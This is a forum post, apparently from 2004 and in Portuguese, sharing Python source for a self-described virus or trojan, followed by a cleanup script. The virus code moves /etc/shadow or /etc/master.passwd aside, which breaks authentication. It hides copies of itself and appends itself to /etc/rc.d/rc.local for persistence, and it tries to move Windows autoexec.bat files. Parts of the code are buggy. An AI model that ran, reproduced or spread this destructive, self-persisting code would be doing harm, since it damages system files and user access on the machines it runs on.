Virus, trojan, sei la o que é isso
Publicado por Ricardo Henrique 22/08/2004
[ Hits: 26.691 ]
Estava fazendo um projeto de um semi-virus ou seria um trojan..., sei lá o q é isso, mas faz um estrago. LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
ACEITO AJUDAS..............
Se voce executou o virus use o anti-virus para tentar recuperar as coisas
REPETINDO...
LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
#ESSE É O CODIGO DO VIRUS
#------------------------------------
#!/usr/bin/env python
import os
#####################################
#Virus and python #
#version 0.5 #
# #
#Colaborações sao bem vindas #
# #
#DICA: Antes de executar o programa #
#copie os arquivos /etc/shadow e o #
#arquivo do windows autoexec.bat #
# #
#NAO ME RESPONSABILIZO PELOS #
#DANOS CAUSADOS, ISSO É PROBLEMA SEU#
# #
#REGISTRADO PELA A LICENCA GPL #
#####################################
def linux():
try:
os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt
lis = os.listdir('/etc/') #Lista o que tem no /etc/
aa = "%s" %(lis)
arq.write(aa) # Grava no arquivo
arq.close()
os.system('cp virus.py .arq.py') # Copia o virus
os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM
os.system('cp .arq.py /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local')
rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao
rc1 = "python /etc/rc.d/.conf.py\n"
aaa = "%s" %(rc1)
rc.write(aaa)
rc.close()
os.system('chmod -x .arq.py') # muda as permisoes
os.system('chown root.root .arq.py') # muda o usuario
procura()
def win_c():
try:
os.system('mv /mnt/win_c/autoexec.bat .autoexec.bat') # Num preciso nem falar
#os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat
except:
exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog
def c():
try:
os.sytem('mv /mnt/c/autoexec.bat .autoexec.bat') # num vo fala nada ^^^
#os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat
except:
win_c() # caso nao tenha ele vai para a funcao win_c()
def procura():
try:
os.remove('mv /mnt/windows/autoexec.bat ./.autoexec.bat')# o q será isso?????^^^^?????
#os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat
except:
c() # se nao tiver ele passa para a funcao c()
def dig():
linux() # Colocar alguma coisa
dig()
#----------------------------------------------
# AGORA o DO ANTI-VIRUS
#---------------------------------------------
#!/usr/bin/python
################################
#Quem Cria também distroi #
#Anti-virus para a merda que eu#
#fiz....infeslimente..o feitiço#
#virou contra o feiticeiro.....#
#tomara que funcione #
###############################
import os
def linux():
try:
os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/shadow') # Remove o arquivo etc shadow
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt
os.system('rm -rf .arq.py') # Remove o virus
os.system('rm -rf ../.conf.py'); # remove o virus
os.system('rm -rf /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local')
procura()
def win_c():
try:
os.system('cp .autoexec.bat /mnt/win_c/autoexec.bat') # Num preciso nem falar
#os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat
except:
exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog
def c():
try:
os.sytem('cp .autoexec.bat /mnt/c/autoexec.bat') # num vo fala nada ^^^
#os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat
except:
win_c() # caso nao tenha ele vai para a funcao win_c()
def procura():
try:
os.remove('cp .autoexec.bat /mnt/windows/autoexec.bat')# o q será isso?????^^^^?????
#os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat
except:
c() # se nao tiver ele passa para a funcao c()
def dig():
linux() # Colocar alguma coisa
dig()
Inteligência artificial com Python e Shell Script
O maior quebra cabeças de sempre
Painel com botões desligar, reiniciar, logoff e bloquear tela
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?
Mint Xfce não mantém a conexão no wi-fi (2)
Problemas com Driver NVIDIA (5)
Warcraft II Remastered no Linux? (8)









